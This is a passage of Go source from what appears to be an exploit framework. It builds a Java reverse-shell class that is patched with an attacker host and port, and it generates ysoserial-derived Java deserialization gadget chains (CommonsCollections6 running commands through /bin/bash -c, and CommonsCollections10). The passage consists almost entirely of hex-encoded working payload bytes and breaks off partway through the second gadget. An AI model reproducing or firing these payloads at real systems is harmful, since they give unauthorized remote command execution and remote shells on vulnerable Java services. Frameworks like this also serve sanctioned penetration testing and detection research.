"\x00\x3f\x01\x00\x17\x6a\x61\x76" + "\x61\x2f\x6c\x61\x6e\x67\x2f\x53" + "\x74\x72\x69\x6e\x67\x42\x75\x69" + "\x6c\x64\x65\x72\x0c\x00\x9e\x00" + "\x9f\x01\x00\x01\x0a\x0c\x00\xa0" + "\x00\x3f\x0c\x00\xa1\x00\xa2\x0c" + "\x00\xa3\x00\x39\x07\x00\xa4\x0c" + "\x00\xa5\x00\xa6\x0c\x00\xa7\x00" + "\x9c\x0c\x00\xa8\x00\xa9\x0c\x00" + "\xa1\x00\xaa\x0c\x00\xab\x00\xa9" + "\x01\x00\x13\x6a\x61\x76\x61\x2f" + "\x6c\x61\x6e\x67\x2f\x45\x78\x63" + "\x65\x70\x74\x69\x6f\x6e\x0c\x00" + "\xac\x00\x39\x0c\x00\xad\x00\x39" + "\x01\x00\x10\x6a\x61\x76\x61\x2f" + "\x6c\x61\x6e\x67\x2f\x4f\x62\x6a" + "\x65\x63\x74\x01\x00\x20\x6a\x61" + "\x76\x61\x78\x2f\x73\x63\x72\x69" + "\x70\x74\x2f\x53\x63\x72\x69\x70" + "\x74\x45\x6e\x67\x69\x6e\x65\x46" + "\x61\x63\x74\x6f\x72\x79\x01\x00" + "\x11\x6a\x61\x76\x61\x2f\x6c\x61" + "\x6e\x67\x2f\x50\x72\x6f\x63\x65" + "\x73\x73\x01\x00\x10\x6a\x61\x76" + "\x61\x2f\x6c\x61\x6e\x67\x2f\x53" + "\x79\x73\x74\x65\x6d\x01\x00\x0b" + "\x67\x65\x74\x50\x72\x6f\x70\x65" + "\x72\x74\x79\x01\x00\x07\x69\x6e" + "\x64\x65\x78\x4f\x66\x01\x00\x15" + "\x28\x4c\x6a\x61\x76\x61\x2f\x6c" + "\x61\x6e\x67\x2f\x53\x74\x72\x69" + "\x6e\x67\x3b\x29\x49\x01\x00\x16" + "\x28\x5b\x4c\x6a\x61\x76\x61\x2f" + "\x6c\x61\x6e\x67\x2f\x53\x74\x72" + "\x69\x6e\x67\x3b\x29\x56\x01\x00" + "\x13\x72\x65\x64\x69\x72\x65\x63" + "\x74\x45\x72\x72\x6f\x72\x53\x74" + "\x72\x65\x61\x6d\x01\x00\x1d\x28" + "\x5a\x29\x4c\x6a\x61\x76\x61\x2f" + "\x6c\x61\x6e\x67\x2f\x50\x72\x6f" + "\x63\x65\x73\x73\x42\x75\x69\x6c" + "\x64\x65\x72\x3b\x01\x00\x05\x73" + "\x74\x61\x72\x74\x01\x00\x15\x28" + "\x29\x4c\x6a\x61\x76\x61\x2f\x6c" + "\x61\x6e\x67\x2f\x50\x72\x6f\x63" + "\x65\x73\x73\x3b\x01\x00\x11\x6a" + "\x61\x76\x61\x2f\x6c\x61\x6e\x67" + "\x2f\x49\x6e\x74\x65\x67\x65\x72" + "\x01\x00\x08\x70\x61\x72\x73\x65" + "\x49\x6e\x74\x01\x00\x16\x28\x4c" + "\x6a\x61\x76\x61\x2f\x6c\x61\x6e" + "\x67\x2f\x53\x74\x72\x69\x6e\x67" + "\x3b\x49\x29\x56\x01\x00\x0e\x67" + "\x65\x74\x49\x6e\x70\x75\x74\x53" + "\x74\x72\x65\x61\x6d\x01\x00\x17" + "\x28\x29\x4c\x6a\x61\x76\x61\x2f" + "\x69\x6f\x2f\x49\x6e\x70\x75\x74" + "\x53\x74\x72\x65\x61\x6d\x3b\x01" + "\x00\x18\x28\x4c\x6a\x61\x76\x61" + "\x2f\x69\x6f\x2f\x49\x6e\x70\x75" + "\x74\x53\x74\x72\x65\x61\x6d\x3b" + "\x29\x56\x01\x00\x13\x28\x4c\x6a" + "\x61\x76\x61\x2f\x69\x6f\x2f\x52" + "\x65\x61\x64\x65\x72\x3b\x29\x56" + "\x01\x00\x0f\x67\x65\x74\x4f\x75" + "\x74\x70\x75\x74\x53\x74\x72\x65" + "\x61\x6d\x01\x00\x18\x28\x29\x4c" + "\x6a\x61\x76\x61\x2f\x69\x6f\x2f" + "\x4f\x75\x74\x70\x75\x74\x53\x74" + "\x72\x65\x61\x6d\x3b\x01\x00\x19" + "\x28\x4c\x6a\x61\x76\x61\x2f\x69" + "\x6f\x2f\x4f\x75\x74\x70\x75\x74" + "\x53\x74\x72\x65\x61\x6d\x3b\x29" + "\x56\x01\x00\x13\x28\x4c\x6a\x61" + "\x76\x61\x2f\x69\x6f\x2f\x57\x72" + "\x69\x74\x65\x72\x3b\x29\x56\x01" + "\x00\x08\x69\x73\x43\x6c\x6f\x73" + "\x65\x64\x01\x00\x03\x28\x29\x5a" + "\x01\x00\x08\x72\x65\x61\x64\x4c" + "\x69\x6e\x65\x01\x00\x06\x61\x70" + "\x70\x65\x6e\x64\x01\x00\x2d\x28" + "\x4c\x6a\x61\x76\x61\x2f\x6c\x61" + "\x6e\x67\x2f\x53\x74\x72\x69\x6e" + "\x67\x3b\x29\x4c\x6a\x61\x76\x61" + "\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + "\x72\x69\x6e\x67\x42\x75\x69\x6c" + "\x64\x65\x72\x3b\x01\x00\x08\x74" + "\x6f\x53\x74\x72\x69\x6e\x67\x01" + "\x00\x05\x77\x72\x69\x74\x65\x01" + "\x00\x15\x28\x4c\x6a\x61\x76\x61" + "\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + "\x72\x69\x6e\x67\x3b\x29\x56\x01" + "\x00\x05\x66\x6c\x75\x73\x68\x01" + "\x00\x10\x6a\x61\x76\x61\x2f\x6c" + "\x61\x6e\x67\x2f\x54\x68\x72\x65" + "\x61\x64\x01\x00\x05\x73\x6c\x65" + "\x65\x70\x01\x00\x04\x28\x4a\x29" + "\x56\x01\x00\x05\x72\x65\x61\x64" + "\x79\x01\x00\x04\x72\x65\x61\x64" + "\x01\x00\x03\x28\x29\x49\x01\x00" + "\x04\x28\x49\x29\x56\x01\x00\x09" + "\x65\x78\x69\x74\x56\x61\x6c\x75" + "\x65\x01\x00\x07\x64\x65\x73\x74" + "\x72\x6f\x79\x01\x00\x05\x63\x6c" + "\x6f\x73\x65\x00\x21\x00\x0e\x00" + "\x32\x00\x01\x00\x33\x00\x02\x00" + "\x18\x00\x34\x00\x35\x00\x01\x00" + "\x36\x00\x00\x00\x02\x00\x0f\x00" + "\x18\x00\x37\x00\x35\x00\x01\x00" + "\x36\x00\x00\x00\x02\x00\x10\x00" + "\x0d\x00\x01\x00\x38\x00\x39\x00" + "\x01\x00\x3a\x00\x00\x01\xeb\x00" + "\x06\x00\x0b\x00\x00\x01\x03\x2a" + "\xb7\x00\x01\x12\x02\x4c\x12\x03" + "\xb8\x00\x04\x12\x05\xb6\x00\x06" + "\x02\x9f\x00\x06\x12\x07\x4c\xbb" + "\x00\x08\x59\x04\xbd\x00\x09\x59" + "\x03\x2b\x53\xb7\x00\x0a\x04\xb6" + "\x00\x0b\xb6\x00\x0c\x4d\xbb\x00" + "\x0d\x59\x12\x0f\x12\x10\xb8\x00" + "\x11\xb7\x00\x12\x4e\xbb\x00\x13" + "\x59\xbb\x00\x14\x59\x2d\xb6\x00" + "\x15\xb7\x00\x16\xb7\x00\x17\x3a" + "\x04\xbb\x00\x18\x59\xbb\x00\x19" + "\x59\x2d\xb6\x00\x1a\xb7\x00\x1b" + "\xb7\x00\x1c\x3a\x05\xbb\x00\x18" + "\x59\xbb\x00\x19\x59\x2c\xb6\x00" + "\x1d\xb7\x00\x1b\xb7\x00\x1c\x3a" + "\x06\xbb\x00\x13\x59\xbb\x00\x14" + "\x59\x2c\xb6\x00\x1e\xb7\x00\x16" + "\xb7\x00\x17\x3a\x07\x2d\xb6\x00" + "\x1f\x9a\x00\x64\x19\x04\xb6\x00" + "\x20\x59\x3a\x08\xc6\x00\x21\x19" + "\x06\xbb\x00\x21\x59\xb7\x00\x22" + "\x19\x08\xb6\x00\x23\x12\x24\xb6" + "\x00\x23\xb6\x00\x25\xb6\x00\x26" + "\x19\x06\xb6\x00\x27\x14\x00\x28" + "\xb8\x00\x2a\x03\x36\x09\x19\x07" + "\xb6\x00\x2b\x99\x00\x18\x19\x07" + "\xb6\x00\x2c\x59\x36\x09\x9e\x00" + "\x0d\x19\x05\x15\x09\xb6\x00\x2d" + "\xa7\xff\xe6\x19\x05\xb6\x00\x27" + "\x2c\xb6\x00\x2e\x57\xa7\x00\x08" + "\x3a\x0a\xa7\xff\x9b\x2c\xb6\x00" + "\x30\x2d\xb6\x00\x31\xa7\x00\x04" + "\x4c\xb1\x00\x02\x00\xe9\x00\xee" + "\x00\xf1\x00\x2f\x00\x04\x00\xfe" + "\x01\x01\x00\x2f\x00\x02\x00\x3b" + "\x00\x00\x00\x72\x00\x1c\x00\x00" + "\x00\x12\x00\x04\x00\x14\x00\x07" + "\x00\x15\x00\x15\x00\x16\x00\x18" + "\x00\x19\x00\x2f\x00\x1a\x00\x3e" + "\x00\x1b\x00\x52\x00\x1c\x00\x66" + "\x00\x1d\x00\x7a\x00\x1e\x00\x8e" + "\x00\x20\x00\x95\x00\x22\x00\xa0" + "\x00\x23\x00\xb9\x00\x24\x00\xbe" + "\x00\x26\x00\xc4\x00\x28\x00\xc7" + "\x00\x29\x00\xda\x00\x2a\x00\xe4" + "\x00\x2c\x00\xe9\x00\x2e\x00\xee" + "\x00\x2f\x00\xf1\x00\x30\x00\xf3" + "\x00\x32\x00\xf6\x00\x34\x00\xfa" + "\x00\x35\x00\xfe\x00\x37\x01\x01" + "\x00\x36\x01\x02\x00\x38\x00\x3c" + "\x00\x00\x00\x4e\x00\x09\xff\x00" + "\x18\x00\x02\x07\x00\x0e\x07\x00" + "\x09\x00\x00\xff\x00\x75\x00\x08" + "\x07\x00\x0e\x07\x00\x09\x07\x00" + "\x3d\x07\x00\x0d\x07\x00\x13\x07" + "\x00\x18\x07\x00\x18\x07\x00\x13" + "\x00\x00\xfc\x00\x2f\x07\x00\x09" + "\xfc\x00\x08\x01\x1c\x4c\x07\x00" + "\x2f\xf9\x00\x04\xff\x00\x0a\x00" + "\x01\x07\x00\x0e\x00\x01\x07\x00" + "\x2f\x00\x00\x01\x00\x3e\x00\x3f" + "\x00\x01\x00\x3a\x00\x00\x00\x1a" + "\x00\x01\x00\x01\x00\x00\x00\x02" + "\x01\xb0\x00\x00\x00\x01\x00\x3b" + "\x00\x00\x00\x06\x00\x01\x00\x00" + "\x00\x3b\x00\x01\x00\x40\x00\x3f" + "\x00\x01\x00\x3a\x00\x00\x00\x1a" + "\x00\x01\x00\x01\x00\x00\x00\x02" + "\x01\xb0\x00\x00\x00\x01\x00\x3b" + "\x00\x00\x00\x06\x00\x01\x00\x00" + "\x00\x40\x00\x01\x00\x41\x00\x42" + "\x00\x02\x00\x3a\x00\x00\x00\x1a" + "\x00\x01\x00\x01\x00\x00\x00\x02" + "\x01\xb0\x00\x00\x00\x01\x00\x3b" + "\x00\x00\x00\x06\x00\x01\x00\x00" + "\x00\x45\x00\x43\x00\x00\x00\x02" + "\x00\x44\x00\x01\x00\x45\x00\x42" + "\x00\x02\x00\x3a\x00\x00\x00\x1a" + "\x00\x01\x00\x01\x00\x00\x00\x02" + "\x01\xb0\x00\x00\x00\x01\x00\x3b" + "\x00\x00\x00\x06\x00\x01\x00\x00" + "\x00\x4a\x00\x43\x00\x00\x00\x02" + "\x00\x44\x00\x01\x00\x46\x00\x42" + "\x00\x02\x00\x3a\x00\x00\x00\x1a" + "\x00\x01\x00\x01\x00\x00\x00\x02" + "\x01\xb0\x00\x00\x00\x01\x00\x3b" + "\x00\x00\x00\x06\x00\x01\x00\x00" + "\x00\x4f\x00\x43\x00\x00\x00\x02" + "\x00\x44\x00\x01\x00\x47\x00\x3f" + "\x00\x01\x00\x3a\x00\x00\x00\x1a" + "\x00\x01\x00\x01\x00\x00\x00\x02" + "\x01\xb0\x00\x00\x00\x01\x00\x3b" + "\x00\x00\x00\x06\x00\x01\x00\x00" + "\x00\x54\x00\x01\x00\x48\x00\x3f" + "\x00\x01\x00\x3a\x00\x00\x00\x1a" + "\x00\x01\x00\x01\x00\x00\x00\x02" + "\x01\xb0\x00\x00\x00\x01\x00\x3b" + "\x00\x00\x00\x06\x00\x01\x00\x00" + "\x00\x59\x00\x01\x00\x49\x00\x4a" + "\x00\x01\x00\x3a\x00\x00\x00\x1a" + "\x00\x01\x00\x02\x00\x00\x00\x02" + "\x01\xb0\x00\x00\x00\x01\x00\x3b" + "\x00\x00\x00\x06\x00\x01\x00\x00" + "\x00\x5e\x00\x81\x00\x4b\x00\x4c" + "\x00\x01\x00\x3a\x00\x00\x00\x1a" + "\x00\x01\x00\x04\x00\x00\x00\x02" + "\x01\xb0\x00\x00\x00\x01\x00\x3b" + "\x00\x00\x00\x06\x00\x01\x00\x00" + "\x00\x63\x00\x01\x00\x4d\x00\x4e" + "\x00\x01\x00\x3a\x00\x00\x00\x1a" + "\x00\x01\x00\x02\x00\x00\x00\x02" + "\x01\xb0\x00\x00\x00\x01\x00\x3b" + "\x00\x00\x00\x06\x00\x01\x00\x00" + "\x00\x68\x00\x81\x00\x4f\x00\x50" + "\x00\x01\x00\x3a\x00\x00\x00\x1a" + "\x00\x01\x00\x02\x00\x00\x00\x02" + "\x01\xb0\x00\x00\x00\x01\x00\x3b" + "\x00\x00\x00\x06\x00\x01\x00\x00" + "\x00\x6d\x00\x01\x00\x51\x00\x52" + "\x00\x01\x00\x3a\x00\x00\x00\x1a" + "\x00\x01\x00\x01\x00\x00\x00\x02" + "\x01\xb0\x00\x00\x00\x01\x00\x3b" + "\x00\x00\x00\x06\x00\x01\x00\x00" + "\x00\x72\x00\x01\x00\x53\x00\x00" + "\x00\x02\x00\x54" classSize := make([]byte, 2) classString := transform.Title(random.RandLettersRange(8, 17)) binary.BigEndian.PutUint16(classSize, uint16(len(classString))) ipSize := make([]byte, 2) binary.BigEndian.PutUint16(ipSize, uint16(len(conf.Lhost))) portSize := make([]byte, 2) portString := strconv.Itoa(conf.Lport) binary.BigEndian.PutUint16(portSize, uint16(len(portString))) reverseShell = strings.ReplaceAll(reverseShell, "\x00\x07Reverse", string(classSize)+classString) reverseShell = strings.ReplaceAll(reverseShell, "\x00\x08AAAAAAAA", string(ipSize)+conf.Lhost) reverseShell = strings.ReplaceAll(reverseShell, "\x00\x08BBBBBBBB", string(portSize)+portString) return reverseShell, classString } ================================================ FILE: java/javagadget.go ================================================ package java import ( "embed" "errors" "fmt" "path/filepath" "strconv" "strings" "github.com/vulncheck-oss/go-exploit/transform" ) //go:embed gadgets var gadgets embed.FS var ( errInvalidCommandLength = errors.New("invalid command length") errInvalidCallbackArg = errors.New("invalid callback arg") ) func ErrorInvalidCommandLength(msg string) error { return fmt.Errorf("%w: %s", errInvalidCommandLength, msg) } func ErrorInvalidCallbackArg(msg string) error { return fmt.Errorf("%w: %s", errInvalidCallbackArg, msg) } // This payload was generated using ysoserial-modified with the CommonsCollections6 gadget and the bash shell arg // The benefit of this payload over one generated from the unmodified ysoserial is the you do not need to // prepend it with a bash -c, and the spaces do not need to be replaced with $IFS. // It also solves redirection issues that are present in unmodified ysoserial payloads. // This payload will always run the provided command using bash, hence the name. // That said you should not need, nor should you prepend a -c to commandStr parameter passed here. func Commons6ModifiedBashCommandBytecode(commandStr string) (string, error) { if len(commandStr) > 255 || len(commandStr) < 1 { return "", ErrorInvalidCommandLength("command must be between 1 and 255 characters") } payloadBytes := "\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61" + "\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x53\x65" + "\x74\xba\x44\x85\x95\x96\xb8\xb7\x34\x03\x00\x00" + "\x78\x70\x77\x0c\x00\x00\x00\x02\x3f\x40\x00\x00" + "\x00\x00\x00\x01\x73\x72\x00\x34\x6f\x72\x67\x2e" + "\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f" + "\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f" + "\x6e\x73\x2e\x6b\x65\x79\x76\x61\x6c\x75\x65\x2e" + "\x54\x69\x65\x64\x4d\x61\x70\x45\x6e\x74\x72\x79" + "\x8a\xad\xd2\x9b\x39\xc1\x1f\xdb\x02\x00\x02\x4c" + "\x00\x03\x6b\x65\x79\x74\x00\x12\x4c\x6a\x61\x76" + "\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63" + "\x74\x3b\x4c\x00\x03\x6d\x61\x70\x74\x00\x0f\x4c" + "\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4d\x61" + "\x70\x3b\x78\x70\x74\x00\x03\x66\x6f\x6f\x73\x72" + "\x00\x2a\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65" + "\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c" + "\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x6d\x61\x70" + "\x2e\x4c\x61\x7a\x79\x4d\x61\x70\x6e\xe5\x94\x82" + "\x9e\x79\x10\x94\x03\x00\x01\x4c\x00\x07\x66\x61" + "\x63\x74\x6f\x72\x79\x74\x00\x2c\x4c\x6f\x72\x67" + "\x2f\x61\x70\x61\x63\x68\x65\x2f\x63\x6f\x6d\x6d" + "\x6f\x6e\x73\x2f\x63\x6f\x6c\x6c\x65\x63\x74\x69" + "\x6f\x6e\x73\x2f\x54\x72\x61\x6e\x73\x66\x6f\x72" + "\x6d\x65\x72\x3b\x78\x70\x73\x72\x00\x3a\x6f\x72" + "\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d" + "\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74" + "\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72" + "\x73\x2e\x43\x68\x61\x69\x6e\x65\x64\x54\x72\x61" + "\x6e\x73\x66\x6f\x72\x6d\x65\x72\x30\xc7\x97\xec" + "\x28\x7a\x97\x04\x02\x00\x01\x5b\x00\x0d\x69\x54" + "\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x73\x74" + "\x00\x2d\x5b\x4c\x6f\x72\x67\x2f\x61\x70\x61\x63" + "\x68\x65\x2f\x63\x6f\x6d\x6d\x6f\x6e\x73\x2f\x63" + "\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2f\x54" + "\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x3b\x78" + "\x70\x75\x72\x00\x2d\x5b\x4c\x6f\x72\x67\x2e\x61" + "\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e" + "\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e" + "\x73\x2e\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65" + "\x72\x3b\xbd\x56\x2a\xf1\xd8\x34\x18\x99\x02\x00" + "\x00\x78\x70\x00\x00\x00\x05\x73\x72\x00\x3b\x6f" + "\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f" + "\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63" + "\x74\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f" + "\x72\x73\x2e\x43\x6f\x6e\x73\x74\x61\x6e\x74\x54" + "\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x58\x76" + "\x90\x11\x41\x02\xb1\x94\x02\x00\x01\x4c\x00\x09" + "\x69\x43\x6f\x6e\x73\x74\x61\x6e\x74\x71\x00\x7e" + "\x00\x03\x78\x70\x76\x72\x00\x11\x6a\x61\x76\x61" + "\x2e\x6c\x61\x6e\x67\x2e\x52\x75\x6e\x74\x69\x6d" + "\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x78\x70\x73\x72\x00\x3a\x6f\x72\x67\x2e\x61\x70" + "\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73" + "\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73" + "\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e\x49\x6e" + "\x76\x6f\x6b\x65\x72\x54\x72\x61\x6e\x73\x66\x6f" + "\x72\x6d\x65\x72\x87\xe8\xff\x6b\x7b\x7c\xce\x38" + "\x02\x00\x03\x5b\x00\x05\x69\x41\x72\x67\x73\x74" + "\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e" + "\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x4c\x00\x0b" + "\x69\x4d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x74" + "\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67" + "\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x0b\x69" + "\x50\x61\x72\x61\x6d\x54\x79\x70\x65\x73\x74\x00" + "\x12\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67" + "\x2f\x43\x6c\x61\x73\x73\x3b\x78\x70\x75\x72\x00" + "\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67" + "\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f" + "\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00" + "\x02\x74\x00\x0a\x67\x65\x74\x52\x75\x6e\x74\x69" + "\x6d\x65\x75\x72\x00\x12\x5b\x4c\x6a\x61\x76\x61" + "\x2e\x6c\x61\x6e\x67\x2e\x43\x6c\x61\x73\x73\x3b" + "\xab\x16\xd7\xae\xcb\xcd\x5a\x99\x02\x00\x00\x78" + "\x70\x00\x00\x00\x00\x74\x00\x09\x67\x65\x74\x4d" + "\x65\x74\x68\x6f\x64\x75\x71\x00\x7e\x00\x1b\x00" + "\x00\x00\x02\x76\x72\x00\x10\x6a\x61\x76\x61\x2e" + "\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\xa0" + "\xf0\xa4\x38\x7a\x3b\xb3\x42\x02\x00\x00\x78\x70" + "\x76\x71\x00\x7e\x00\x1b\x73\x71\x00\x7e\x00\x13" + "\x75\x71\x00\x7e\x00\x18\x00\x00\x00\x02\x70\x75" + "\x71\x00\x7e\x00\x18\x00\x00\x00\x00\x74\x00\x06" + "\x69\x6e\x76\x6f\x6b\x65\x75\x71\x00\x7e\x00\x1b" + "\x00\x00\x00\x02\x76\x72\x00\x10\x6a\x61\x76\x61" + "\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78" + "\x70\x76\x71\x00\x7e\x00\x18\x73\x71\x00\x7e\x00" + "\x13\x75\x71\x00\x7e\x00\x18\x00\x00\x00\x01\x75" + "\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61" + "\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2" + "\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x78\x70\x00" + "\x00\x00\x03\x74\x00\x09\x2f\x62\x69\x6e\x2f\x62" + "\x61\x73\x68\x74\x00\x02\x2d\x63\x74\x00\xff" + // 255 characters were allocated, we just put back the unused // length as spaces commandStr + strings.Repeat(" ", 0xff-len(commandStr)) + "\x74\x00\x04\x65\x78\x65\x63\x75\x71\x00" + "\x7e\x00\x1b\x00\x00\x00\x01\x76\x71\x00\x7e\x00" + "\x2c\x73\x71\x00\x7e\x00\x0f\x73\x72\x00\x11\x6a" + "\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74" + "\x65\x67\x65\x72\x12\xe2\xa0\xa4\xf7\x81\x87\x38" + "\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75\x65\x78" + "\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67" + "\x2e\x4e\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b" + "\x94\xe0\x8b\x02\x00\x00\x78\x70\x00\x00\x00\x01" + "\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69" + "\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda" + "\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c" + "\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09" + "\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f" + "\x40\x00\x00\x00\x00\x00\x00\x77\x08\x00\x00\x00" + "\x10\x00\x00\x00\x00\x78\x78\x78" return payloadBytes, nil } // Generated using ysoserial with CommonsCollections10. func Commons10CommandBytecode(commandStr string) (string, error) { if len(commandStr) > 255 || len(commandStr) < 1 { return "", ErrorInvalidCommandLength("command must be between 1 and 255 characters") } payloadBytes := "\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61" + "\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x53\x65" + "\x74\xba\x44\x85\x95\x96\xb8\xb7\x34\x03\x00\x00" + "\x78\x70\x77\x0c\x00\x00\x00\x02\x3f\x40\x00\x00" + "\x00\x00\x00\x01\x73\x72\x00\x34\x6f\x72\x67\x2e" + "\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f" + "\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f" + "\x6e\x73\x2e\x6b\x65\x79\x76\x61\x6c\x75\x65\x2e" + "\x54\x69\x65\x64\x4d\x61\x70\x45\x6e\x74\x72\x79" + "\x8a\xad\xd2\x9b\x39\xc1\x1f\xdb\x02\x00\x02\x4c" + "\x00\x03\x6b\x65\x79\x74\x00\x12\x4c\x6a\x61\x76" + "\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63" + "\x74\x3b\x4c\x00\x03\x6d\x61\x70\x74\x00\x0f\x4c" + "\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4d\x61" + "\x70\x3b\x78\x70\x73\x72\x00\x3a\x63\x6f\x6d\x2e" + "\x73\x75\x6e\x2e\x6f\x72\x67\x2e\x61\x70\x61\x63" + "\x68\x65\x2e\x78\x61\x6c\x61\x6e\x2e\x69\x6e\x74" + "\x65\x72\x6e\x61\x6c\x2e\x78\x73\x6c\x74\x63\x2e" + "\x74\x72\x61\x78\x2e\x54\x65\x6d\x70\x6c\x61\x74" + "\x65\x73\x49\x6d\x70\x6c\x09\x57\x4f\xc1\x6e\xac" + "\xab\x33\x03\x00\x06\x49\x00\x0d\x5f\x69\x6e\x64" + "\x65\x6e\x74\x4e\x75\x6d\x62\x65\x72\x49\x00\x0e" + "\x5f\x74\x72\x61\x6e\x73\x6c\x65\x74\x49\x6e\x64" + "\x65\x78\x5b\x00\x0a\x5f\x62\x79\x74\x65\x63\x6f" + "\x64\x65\x73\x74\x00\x03\x5b\x5b\x42\x5b\x00\x06" + "\x5f\x63\x6c\x61\x73\x73\x74\x00\x12\x5b\x4c\x6a" + "\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x43\x6c\x61" + "\x73\x73\x3b\x4c\x00\x05\x5f\x6e\x61\x6d\x65\x74" + "\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67" + "\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x11\x5f" + "\x6f\x75\x74\x70\x75\x74\x50\x72\x6f\x70\x65\x72" + "\x74\x69\x65\x73\x74\x00\x16\x4c\x6a\x61\x76\x61" + "\x2f\x75\x74\x69\x6c\x2f\x50\x72\x6f\x70\x65\x72" + "\x74\x69\x65\x73\x3b\x78\x70\x00\x00\x00\x00\xff" + "\xff\xff\xff\x75\x72\x00\x03\x5b\x5b\x42\x4b\xfd" + "\x19\x15\x67\x67\xdb\x37\x02\x00\x00\x78\x70\x00" + "\x00\x00\x02\x75\x72\x00\x02\x5b\x42\xac\xf3\x17" + "\xf8\x06\x08\x54\xe0\x02\x00\x00\x78\x70\x00\x00" + "\x07\x93\xca\xfe\xba\xbe\x00\x00\x00\x32\x00\x39" + "\x0a\x00\x03\x00\x22\x07\x00\x37\x07\x00\x25\x07" + "\x00\x26\x01\x00\x10\x73\x65\x72\x69\x61\x6c\x56" + "\x65\x72\x73\x69\x6f\x6e\x55\x49\x44\x01\x00\x01" + "\x4a\x01\x00\x0d\x43\x6f\x6e\x73\x74\x61\x6e\x74" + "\x56\x61\x6c\x75\x65\x05\xad\x20\x93\xf3\x91\xdd" + "\xef\x3e\x01\x00\x06\x3c\x69\x6e\x69\x74\x3e\x01" + "\x00\x03\x28\x29\x56\x01\x00\x04\x43\x6f\x64\x65" + "\x01\x00\x0f\x4c\x69\x6e\x65\x4e\x75\x6d\x62\x65" + "\x72\x54\x61\x62\x6c\x65\x01\x00\x12\x4c\x6f\x63" + "\x61\x6c\x56\x61\x72\x69\x61\x62\x6c\x65\x54\x61" + "\x62\x6c\x65\x01\x00\x04\x74\x68\x69\x73\x01\x00" + "\x13\x53\x74\x75\x62\x54\x72\x61\x6e\x73\x6c\x65" + "\x74\x50\x61\x79\x6c\x6f\x61\x64\x01\x00\x0c\x49" + "\x6e\x6e\x65\x72\x43\x6c\x61\x73\x73\x65\x73\x01" + "\x00\x35\x4c\x79\x73\x6f\x73\x65\x72\x69\x61\x6c" + "\x2f\x70\x61\x79\x6c\x6f\x61\x64\x73\x2f\x75\x74" + "\x69\x6c\x2f\x47\x61\x64\x67\x65\x74\x73\x24\x53" + "\x74\x75\x62\x54\x72\x61\x6e\x73\x6c\x65\x74\x50" + "\x61\x79\x6c\x6f\x61\x64\x3b\x01\x00\x09\x74\x72" + 